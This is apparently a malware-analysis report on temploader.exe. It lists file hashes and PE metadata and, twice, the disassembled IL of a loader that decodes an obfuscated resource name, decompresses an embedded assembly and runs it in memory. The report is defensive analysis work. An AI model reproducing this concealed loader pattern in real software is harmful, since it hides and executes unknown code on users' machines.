Symbol Ofbuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 6cd7d5e61b29232505570d485ca5a04a
|
| Sha1 | 98d8549ab4795536bcde26b25674bc84eee6fbef
|
| Sha256 | 5067a1e7cdb7fd99b12ca0c3d76caca7cc12ed86f9da5f5d83a8ad37bba7dbdf
|
| Sha384 | 3d9a4aa9b58367beda802d9e35ae1f25f553d2ae72cebd386029016cc6bf509e0f30d9e4bf1fc634ab1eb70b81395b8f
|
| Sha512 | 1ff09df63dc49d2761a68ad3acc6137ffa10eedbfd853fab59f140e24b6cd1804474f00b306bd570fa0c425841a4b6fcdac8983b173e847ef43e191bb2ce9944
|
| SSDeep | 49152:znGuQwIcMJJtmkZi44yDYBGXRJfOKoMG62dRLj:zrzMrXZihAYBeoL6wZ
|
| TLSH | 1185337AF4E3D24DDF7299BFBDB1AEC3172D59C39A68D00079A963DAB062235365C010
|
PeID
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Module Name | temploader.exe |
| Full Name | temploader.exe |
| EntryPoint | System.Void a.a::Main() |
| Scope Name | temploader.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | temploader |
| Assembly Version | 0.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 3 |
| Main Method | System.Void a.a::Main() |
| Main IL Instruction Count | 37 |
| Main IL | call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() ldstr GFNJ4bQFGEMvXS1ovWActA== ldstr laleZ8oLl76ifWywiD1yE/TWf+pGTtObDRkOeN6VetY= ldstr SxGe8A8FAlsm0HoRRGVgyg== call System.String 朼곫ꥆᔑႨ字柵稩::랢湷瞒抜䐈蓵鷘䯈菶(System.String,System.String,System.String) callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String) stloc.0 <null> newobj System.Void System.IO.MemoryStream::.ctor() stloc.1 <null> ldloc.0 <null> ldc.i4.0 <null> newobj System.Void System.IO.Compression.DeflateStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode) stloc.2 <null> ldloc.2 <null> ldloc.1 <null> callvirt System.Void System.IO.Stream::CopyTo(System.IO.Stream) leave IL_0046: ldloc.1 ldloc.2 <null> brfalse IL_0045: endfinally ldloc.2 <null> callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.1 <null> callvirt System.Byte[] System.IO.MemoryStream::ToArray() call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint() ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave IL_0070: ret ldloc.0 <null> brfalse IL_006F: endfinally ldloc.0 <null> callvirt System.Void System.IDisposable::Dispose() endfinally <null> ret <null> |
| Module Name | temploader.exe |
| Full Name | temploader.exe |
| EntryPoint | System.Void a.a::Main() |
| Scope Name | temploader.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | temploader |
| Assembly Version | 0.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 3 |
| Main Method | System.Void a.a::Main() |
| Main IL Instruction Count | 37 |
| Main IL | call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() ldstr GFNJ4bQFGEMvXS1ovWActA== ldstr laleZ8oLl76ifWywiD1yE/TWf+pGTtObDRkOeN6VetY= ldstr SxGe8A8FAlsm0HoRRGVgyg== call System.String 朼곫ꥆᔑႨ字柵稩::랢湷瞒抜䐈蓵鷘䯈菶(System.String,System.String,System.String) callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String) stloc.0 <null> newobj System.Void System.IO.MemoryStream::.ctor() stloc.1 <null> ldloc.0 <null> ldc.i4.0 <null> newobj System.Void System.IO.Compression.DeflateStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode) stloc.2 <null> ldloc.2 <null> ldloc.1 <null> callvirt System.Void System.IO.Stream::CopyTo(System.IO.Stream) leave IL_0046: ldloc.1 ldloc.2 <null> brfalse IL_0045: endfinally ldloc.2 <null> callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.1 <null> callvirt System.Byte[] System.IO.MemoryStream::ToArray() call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint() ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave IL_0070: ret ldloc.0 <null> brfalse IL_006F: endfinally ldloc.0 <null> callvirt System.Void System.IDisposable::Dispose() endfinally <null> ret <null> |